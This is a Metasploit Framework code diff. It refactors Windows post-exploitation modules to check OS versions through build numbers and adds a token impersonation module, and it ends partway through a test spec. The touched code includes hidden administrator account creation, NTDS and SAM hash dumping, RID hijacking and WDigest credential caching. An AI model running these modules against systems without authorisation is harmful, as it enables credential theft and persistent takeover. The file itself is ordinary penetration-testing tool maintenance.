username = Rex::Text.rand_text_alpha((rand(6..13))) - password = Rex::Text.rand_text_alpha((rand(6..13))) + username = Rex::Text.rand_text_alpha(rand(6..13)) + password = Rex::Text.rand_text_alpha(rand(6..13)) print_status("username = #{username}, password = #{password}") cmd_to_run = 'net user /add ' + username + ' ' + password cmd_to_run += ' & net localgroup administrators /add ' + username @@ -95,8 +96,9 @@ def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - if sysinfo['OS'] =~ /XP/ - fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803) + fail_with(Failure::Unknown, 'The exploit does not support this OS') end end diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index aef45e4e46489..52bf030b137ea 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -89,18 +89,18 @@ def run end def copy_database_file - database_file_path = nil - case sysinfo['OS'] - when /2003| \.NET/ - print_status 'Using Volume Shadow Copy Method' - database_file_path = vss_method - when /2008|2012|2016/ - print_status 'Using NTDSUTIL method' - database_file_path = ntdsutil_method - else - print_error 'This version of Windows is unsupported' + version = get_version_info + if version.windows_server? + if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2) + print_status 'Using Volume Shadow Copy Method' + return vss_method + elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0 + print_status 'Using NTDSUTIL method' + return ntdsutil_method + end end - database_file_path + print_error 'This version of Windows is unsupported' + return nil end def ntds_exists? @@ -114,7 +114,7 @@ def ntds_location end def ntdsutil_method - tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}" + tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" result = cmd_exec('ntdsutil.exe', command_arguments, 90) if result.include? 'IFM media created successfully' @@ -190,12 +190,12 @@ def vss_method fail_with(Failure::NoAccess, 'Unable to start VSS service') end location = ntds_location.dup - volume = location.slice!(0, 3) + location.slice!(0, 3) id = create_shadowcopy(volume.to_s) print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit" - target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}" + target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}" print_status "Moving ntds.dit to #{target_path}" move_file(sc_path, target_path) target_path diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 890343f2793b5..0293bd06aa61a 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -44,7 +44,7 @@ def initialize(info = {}) # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") - enum_users(sysinfo['OS']).each do |user| + enum_users.each do |user| if user['userpath'] print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." extract_lnk_info(user['userpath']) @@ -60,15 +60,15 @@ def run end end - def enum_users(os) + def enum_users users = [] userinfo = {} - user = session.sys.config.getuid + session.sys.config.getuid userpath = nil - useroffcpath = nil env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME') sysdrv = env_vars['SystemDrive'] - if os =~ /Windows 7|Vista|2008/ + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 userpath = sysdrv + '\\Users\\' lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\' officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\' @@ -104,7 +104,7 @@ def enum_users(os) # This is a hack because Meterpreter doesn't support exists?(file) def dir_entry_exists(path) - files = session.fs.dir.entries(path) + session.fs.dir.entries(path) rescue StandardError return nil else @@ -114,7 +114,6 @@ def dir_entry_exists(path) def extract_lnk_info(path) session.fs.dir.foreach(path) do |file_name| if file_name =~ /\.lnk$/ # We have a .lnk file - record = nil offset = 0 # TODO: Look at moving this to smaller scope lnk_file = session.fs.file.new(path + file_name, 'rb') record = lnk_file.sysread(0x04) @@ -186,7 +185,7 @@ def extract_lnk_info(path) end end lnk_file.close - logfile = store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info') + store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info') end end end diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index b74d6b4ab04ce..b849309f99819 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::FileSystem + include Msf::Post::Windows::Version include Msf::Auxiliary::Report def initialize(info = {}) @@ -29,7 +30,6 @@ def initialize(info = {}) stdapi_fs_search stdapi_railgun_api stdapi_sys_config_getenv - stdapi_sys_config_sysinfo ] } } @@ -46,21 +46,21 @@ def initialize(info = {}) def download_files(location, file_type) sysdriv = client.sys.config.getenv('SYSTEMDRIVE') - sysnfo = client.sys.config.sysinfo['OS'] profile_path_old = sysdriv + '\\Documents and Settings\\' profile_path_new = sysdriv + '\\Users\\' + version = get_version_info if location print_status("Searching #{location}") - getfile = client.fs.file.search(location, file_type, recurse = true, timeout = -1) + getfile = client.fs.file.search(location, file_type, true, -1) - elsif sysnfo =~ /(Windows XP|2003|.NET)/ + elsif version.build_number < Msf::WindowsVersion::Vista_SP0 print_status("Searching #{profile_path_old} through windows user profile structure") - getfile = client.fs.file.search(profile_path_old, file_type, recurse = true, timeout = -1) + getfile = client.fs.file.search(profile_path_old, file_type, true, -1) else # For systems such as: Windows 7|Windows Vista|2008 print_status("Searching #{profile_path_new} through windows user profile structure") - getfile = client.fs.file.search(profile_path_new, file_type, recurse = true, timeout = -1) + getfile = client.fs.file.search(profile_path_new, file_type, true, -1) end getfile.each do |file| diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index 2d01da8c41a11..4c9b53ef50bf2 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -230,14 +230,14 @@ def hive_parser(local_hive_copy, muicache, user) # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots def run print_status('Starting to enumerate MUICache registry keys...') - sys_info = sysinfo['OS'] + version = get_version_info - if sys_info =~ /Windows XP/ && is_admin? - print_good("Remote system supported: #{sys_info}") + if version.xp_or_2003? && is_admin? + print_good("Remote system supported: #{version.product_name}") muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache' hive_file = '\\NTUSER.DAT' - elsif sys_info =~ /Windows 7/ && is_admin? - print_good("Remote system supported: #{sys_info}") + elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin? + print_good("Remote system supported: #{version.product_name}") muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat' else diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 9b689ca0a9d81..7594ef0d0ab98 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -28,7 +28,6 @@ def initialize(info = {}) 'Commands' => %w[ stdapi_fs_search stdapi_sys_config_getenv - stdapi_sys_config_sysinfo ] } } @@ -139,10 +138,10 @@ def run # http://www.forensicswiki.org/wiki/Prefetch # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - sysnfo = client.sys.config.sysinfo['OS'] error_msg = "You don't have enough privileges. Try getsystem." - if sysnfo =~ /(Windows XP|2003|.NET)/ + version = get_version_info + if version.xp_or_2003? if !is_admin? print_error(error_msg) @@ -150,7 +149,7 @@ def run end # Offsets for WinXP & Win2k3 - print_good("Detected #{sysnfo} (max 128 entries)") + print_good("Detected #{version.product_name} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C runcount_offset = 0x90 @@ -158,14 +157,14 @@ def run # Registry key for timezone key_value = 'StandardName' - elsif sysnfo =~ /(Windows 7)/ + elsif version.win7_or_2008r2? && !version.windows_server? if !is_admin? print_error(error_msg) return nil end # Offsets for Win7 - print_good("Detected #{sysnfo} (max 128 entries)") + print_good("Detected #{version.product_name} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C runcount_offset = 0x98 diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb index 57242b325013f..9786049a16f3d 100644 --- a/modules/post/windows/gather/file_from_raw_ntfs.rb +++ b/modules/post/windows/gather/file_from_raw_ntfs.rb @@ -44,9 +44,9 @@ def initialize(info = {}) end def run - winver = sysinfo['OS'] + version = get_version_info - fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/ + fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if version.build_number == Msf::WindowsVersion::Win2000 fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? file_path = datastore['FILE_PATH'] diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 9bce86ebc5d96..abd705018960b 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -46,9 +46,8 @@ def initialize(info = {}) end def run - winver = sysinfo['OS'] - - if winver =~ /2000/i + version = get_version_info + if version.build_number == Msf::WindowsVersion::Win2000 print_error('Module not valid for Windows 2000') return end @@ -66,7 +65,7 @@ def run return end - print_status("System Info - OS: #{winver}, Drive: #{drive}") + print_status("System Info - OS: #{version.product_name}, Drive: #{drive}") type = datastore['FILES'] files = type.split(',') # To extract files from its IDs @@ -106,7 +105,7 @@ def get_high_low_values(offset) # Recover the content of the file/files requested def recover_file(offset, handle) - ra = file_system_features(handle) + file_system_features(handle) # Offset could be in a comma separated list of IDs 0.upto(offset.size - 1) do |i| val = get_high_low_values(offset[i].to_i) @@ -199,8 +198,8 @@ def get_datarun_location(datarun) log_cluster = datarun[-n_log_cluster..] offset = datarun[1..n_offset] - log_cluster << "\x00" if (log_cluster.size % 2 != 0) - offset << "\x00" if (offset.size % 2 != 0) + log_cluster << "\x00" if log_cluster.size.odd? + offset << "\x00" if offset.size.odd? # The logical cluster value could be negative so we need to get the 2 complement in those cases if log_cluster.size == 2 int_log_cluster = log_cluster.unpack('v*')[0] diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 71d6a4a364722..ef34cf03b5acf 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -76,7 +76,8 @@ def setup # Uses DC which applied policy since it would be a DC this device normally talks to cmd = 'gpresult /SCOPE COMPUTER' # If Vista/2008 or later add /R - if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 cmd << ' /R' end res = cmd_exec('cmd.exe', "/c #{cmd}") @@ -111,7 +112,7 @@ def enum_users(host) begin # Connect to host and enumerate logged in users winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil) - rescue ::Exception => e + rescue ::Exception print_error("Issue enumerating users on #{host}") return userlist end diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 1860e3b777c3a..1a3dc344e03e7 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -417,16 +417,17 @@ def smart_hash_dump(migrate_system, pwdfile) if !is_uac_enabled? || is_admin? print_status('Dumping password hashes...') + version = get_version_info # Check if Running as SYSTEM if is_system? # For DC's the registry read method does not work. if domain_controller begin file_local_write(pwdfile, inject_hashdump) - rescue ::Exception => e + rescue ::Exception print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process') - if sysinfo['OS'] =~ /Windows (2008|2012)/i + if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server? move_to_sys file_local_write(pwdfile, inject_hashdump) else @@ -452,7 +453,7 @@ def smart_hash_dump(migrate_system, pwdfile) results = session.priv.getsystem if results[0] print_good('Got SYSTEM privilege') - if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i + if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server? # Migrate process since on Windows 2008 R2 getsystem # does not set certain privilege tokens required to # inject and dump the hashes. @@ -466,7 +467,7 @@ def smart_hash_dump(migrate_system, pwdfile) print_error('Could not get NTDS hashes!') end end - elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i + elsif version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81) if migrate_system print_status('Trying to get SYSTEM privilege') results = session.priv.getsystem diff --git a/modules/post/windows/manage/dell_memory_protect.rb b/modules/post/windows/manage/dell_memory_protect.rb index 4eb8a1aef8ba6..5f1338123033c 100644 --- a/modules/post/windows/manage/dell_memory_protect.rb +++ b/modules/post/windows/manage/dell_memory_protect.rb @@ -62,39 +62,38 @@ def initialize(info = {}) end def get_eproc_offsets - sysinfo_value = sysinfo['OS'] - unless sysinfo_value =~ /Windows/ - print_status("Target is not Windows. Found #{sysinfo_value}") + unless session.platform == 'windows' + print_status("Target is not Windows. Found #{session.platform}") return nil end - build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + vprint_status("Windows Build Number = #{version.build_number}") # UniqueProcessIdOffset, ActiveProcessLinksOffset, SignatureLevelOffset offsets = { - 10240 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold - 10586 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update - 14393 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update - 15063 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update - 16299 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update - 17134 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update - 17763 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update - 18362 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update - 18363 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update - 19041 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update - 19042 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update - 19043 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update - 19044 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update - 22000 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021 + Msf::WindowsVersion::Win10_1507 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold + Msf::WindowsVersion::Win10_1511 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update + Msf::WindowsVersion::Win10_1607 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update + Msf::WindowsVersion::Win10_1703 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update + Msf::WindowsVersion::Win10_1709 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update + Msf::WindowsVersion::Win10_1803 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update + Msf::WindowsVersion::Win10_1809 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update + Msf::WindowsVersion::Win10_1903 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update + Msf::WindowsVersion::Win10_1909 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update + Msf::WindowsVersion::Win10_2004 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update + Msf::WindowsVersion::Win10_20H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update + Msf::WindowsVersion::Win10_21H1 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update + Msf::WindowsVersion::Win10_21H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update + Msf::WindowsVersion::Win11_21H2 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021 } - unless offsets.key?(build_num) - print_status("Unknown offsets for Windows build #{build_num}") + unless offsets.key?(version.build_number) + print_status("Unknown offsets for Windows build #{version.build_number}") return nil end - return offsets[build_num] + return offsets[version.build_number] end def run @@ -104,7 +103,7 @@ def run offsets = get_eproc_offsets if offsets.nil? - fail_with(Failure::NoTarget, 'Unsupported targeted') + fail_with(Failure::NoTarget, 'Unsupported target') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 diff --git a/modules/post/windows/manage/enable_support_account.rb b/modules/post/windows/manage/enable_support_account.rb index c16b339352de2..3c29fe9d4c305 100644 --- a/modules/post/windows/manage/enable_support_account.rb +++ b/modules/post/windows/manage/enable_support_account.rb @@ -62,13 +62,13 @@ def run end end - wver = sysinfo['OS'] - if wver !~ /Windows XP|Windows .NET|Windows 2003/ - print_error("#{wver} is not supported") + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::Server2003_SP2) + print_error("#{version.product_name} is not supported") return end - print_status("Target OS is #{wver}") + print_status("Target OS is #{version.product_name}") names_key = registry_enumkeys(reg_key + '\\Names') unless names_key print_error("Couldn't access registry keys") diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb new file mode 100644 index 0000000000000..40358f91ee3c5 --- /dev/null +++ b/modules/post/windows/manage/make_token.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Make Token Command', + 'Description' => %q{ + In its default configuration, this module creates a new network security context with the specified + logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and + a new logon session is created and linked to that token. The token is then impersonated to acquire + the new network security context. This module has no effect on local actions - only on remote ones + (where the specified credential material will be used). This module does not validate the credentials + specified. + }, + 'License' => MSF_LICENSE, + 'Notes' => { + 'AKA' => ['make_token', 'maketoken'], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => [ + 'Daniel López Jiménez (attl4s)', + 'Simone Salucci (saim1z)' + ], + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + stdapi_sys_config_revert_to_self + stdapi_sys_config_update_token + ] + } + } + ) + ) + + register_options( + [ + OptString.new('DOMAIN', [true, 'Domain to use' ]), + OptString.new('USERNAME', [true, 'Username to use' ]), + OptString.new('PASSWORD', [true, 'Password to use' ]) + ] + ) + + register_advanced_options( + [ + OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]), + ] + ) + end + + def run + # Make sure we meet the requirements before running the script + fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter' + + # check/set vars + user = datastore['USERNAME'] + password = datastore['PASSWORD'] + domain = datastore['DOMAIN'] + logontype = datastore['LOGONTYPE'] + + # revert any existing impersonation before doing a new one + print_status('Executing rev2self to revert any previous token impersonations') + session.sys.config.revert_to_self + + # create new logon session / token pair + print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}") + logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4) + + if logon_user['return'] + # get the token handle + ph_token = logon_user['phToken'] + print_status('Impersonating the new security context...') + + # store the token within the server + session.sys.config.update_token(ph_token) + print_good('The session should now run with the new security context!') + + # send warning + if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS' + print_warning('Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)') + end + else + print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + end + end +end diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 81914df17b829..7e9a588d702a9 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -43,7 +43,8 @@ def run # Due to a bug in Windows XP you need to install IPv6 # http://support.microsoft.com/kb/555744/en-us - if sysinfo['OS'] =~ (/XP/) && !check_ipv6 + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv6 return end @@ -113,7 +114,8 @@ def check_ipv6 def fw_enable_ports print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...") - if sysinfo['OS'] =~ /Windows 7|Vista|2008|2012/ + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"") else cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"") diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index fced2cf9ebd76..22c63ed75e03f 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -42,7 +42,8 @@ def initialize(info = {}) end def run - disable_network_wizard if sysinfo['OS'] =~ /Windows 7|Vista|2008/ + version = get_version_info + disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1) pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME']) to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT'] @@ -77,7 +78,7 @@ def disable_network_wizard def create_pbk(mim, pbk_name) pbk_dir = expand_path('%TEMP%') - pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pbk' + pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(rand(6..13)) << '.pbk' conf_conn = "[#{pbk_name}]\r\n\r\n" conf_conn += "MEDIA=rastapi\r\n" diff --git a/modules/post/windows/manage/rid_hijack.rb b/modules/post/windows/manage/rid_hijack.rb index de452c4219a01..ba23ea08eb9e7 100644 --- a/modules/post/windows/manage/rid_hijack.rb +++ b/modules/post/windows/manage/rid_hijack.rb @@ -122,8 +122,8 @@ def run end # Checks the Windows Version. - wver = sysinfo['OS'] - print_status("Target OS: #{wver}") + version = get_version_info + print_status("Target OS: #{version.product_name}") # Load the usernames from SAM Registry key names_key = registry_enumkeys(reg_key + '\\Names') diff --git a/modules/post/windows/manage/wdigest_caching.rb b/modules/post/windows/manage/wdigest_caching.rb index 9590fdfbef72b..b8f6f7466c90f 100644 --- a/modules/post/windows/manage/wdigest_caching.rb +++ b/modules/post/windows/manage/wdigest_caching.rb @@ -5,9 +5,10 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry + include Msf::Post::Windows::Version - WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest' - USE_LOGON_CREDENTIAL = 'UseLogonCredential' + WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'.freeze + USE_LOGON_CREDENTIAL = 'UseLogonCredential'.freeze def initialize(info = {}) super( @@ -38,7 +39,8 @@ def run print_status("Running module against #{sysinfo['Computer']}") # Check if OS is 8/2012 or newer. If not, no need to set the registry key # Can be backported to Windows 7, 2k8R2 but defaults to enabled... - if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i + version = get_version_info + if version.build_number < Msf::WindowsVersion::Win7_SP0 print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...') else datastore['ENABLE'] ? wdigest_enable : wdigest_disable diff --git a/modules/post/windows/recon/outbound_ports.rb b/modules/post/windows/recon/outbound_ports.rb index fa06ab418d461..5afcb7eb4e670 100644 --- a/modules/post/windows/recon/outbound_ports.rb +++ b/modules/post/windows/recon/outbound_ports.rb @@ -161,8 +161,9 @@ def run return end - if sysinfo['OS'] =~ /XP/ - print_error('Windows XP is not supported') + version = get_version_info + if version.xp_or_2003? + print_error('Windows XP/Server 2003 is not supported') return end diff --git a/msfdb b/msfdb index 0324a32eda144..8ea550d99a1e2 100755 --- a/msfdb +++ b/msfdb @@ -78,7 +78,7 @@ require 'msfenv' retry_max: 10, retry_delay: 5.0, ws_user: nil, - add_data_service: true, + add_data_service: false, data_service_name: nil, use_defaults: false, delete_existing_data: true @@ -921,6 +921,7 @@ def parse_args(args) if !n @options[:add_data_service] = false else + @options[:add_data_service] = true @options[:data_service_name] = n end } @@ -987,8 +988,7 @@ def prompt_for_component(command) return :database end - enable_webservice = ask_yn("Would you like to #{command} the webservice? (Not Required)", default: 'no') - if enable_webservice + if @options[:add_data_service] == true :all else :database diff --git a/spec/api/json_rpc_spec.rb b/spec/api/json_rpc_spec.rb index 729f2e5e33950..c2f1c13740c47 100644 --- a/spec/api/json_rpc_spec.rb +++ b/spec/api/json_rpc_spec.rb @@ -12,6 +12,7 @@ include_context 'Msf::DBManager' include_context 'Metasploit::Framework::Spec::Constants cleaner' include_context 'Msf::Framework#threads cleaner', verify_cleanup_required: false + include_context 'wait_for_expect' let(:health_check_url) { '/api/v1/health' } let(:rpc_url) { '/api/v1/json-rpc' } @@ -123,28 +124,6 @@ def mock_rack_env(mock_rack_env_value) end end - # Waits until the given expectations are all true. This function executes the given block, - # and if a failure occurs it will be retried `retry_count` times before finally failing. - # This is useful to expect against asynchronous/eventually consistent systems. - # - # @param retry_count [Integer] The total amount of times to retry the given expectation - # @param sleep_duration [Integer] The total amount of time to sleep before trying again - def wait_for_expect(retry_count = 20, sleep_duration = 0.5) - failure_count = 0 - - begin - yield - rescue RSpec::Expectations::ExpectationNotMetError - failure_count += 1 - if failure_count < retry_count - sleep sleep_duration - retry - else - raise - end - end - end - describe 'health status' do context 'when using the REST health check functionality' do it 'passes the health check' do diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index ea4a7c4bb1396..883c0a7c68673 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -2,6 +2,291 @@ require 'spec_helper' +RSpec.shared_examples_for 'base#load_module' do + + it 'should call file_changed? with the module_path' do + expect(module_manager).to receive(:file_changed?).with(module_path).and_return(false) + + subject.load_module(parent_path, type, module_reference_name, force: false, cached_metadata: cached_metadata) + end + + context 'without file changed' do + before(:example) do + allow(module_manager).to receive(:file_changed?).and_return(false) + end + + it 'should return false if :force is false' do + expect(subject.load_module(parent_path, type, module_reference_name, :force => false, cached_metadata: cached_metadata)).to be_falsey + end + + it 'should not call #read_module_content_from_path' do + expect(subject).not_to receive(:read_module_content_from_path) + subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata) + end + end + + context 'with file changed' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:module_full_name) do + File.join('auxiliary', module_reference_name) + end + + let(:namespace_module) do + Msf::Modules.const_get(relative_name) + end + + let(:relative_name) do + 'Auxiliary__Rspec__Mock' + end + + before(:example) do + # capture in a local so that instance_eval can access it + relative_name = self.relative_name + + # remove module from previous examples so reload error aren't logged + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + + # create an namespace module that can be restored + module Msf + module Modules + module Auxiliary__Rspec__Mock + class MetasploitModule < Msf::Auxiliary + + end + end + end + end + + @original_namespace_module = Msf::Modules::Auxiliary__Rspec__Mock + + module_set = double('Module Set') + allow(module_set).to receive(:delete).with(module_reference_name) + + allow(module_manager).to receive(:delete).with(module_reference_name) + allow(module_manager).to receive(:file_changed?).with(module_path).and_return(true) + allow(module_manager).to receive(:module_set).with(type).and_return(module_set) + end + + it 'should call #namespace_module_transaction with the module full name and :reload => true' do + allow(subject).to receive(:read_module_content_from_path).and_return(module_content) + + expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + + subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata) + end + + it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do + allow(module_manager).to receive(:on_module_load) + + allow(subject).to receive(:read_module_content_from_path).and_return(module_content) + + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + + expect(namespace_module.parent_path).to eq parent_path + end + + it 'should call #read_module_content_from_path to get the module content so that #read_module_content_from_path can be overridden to change loading 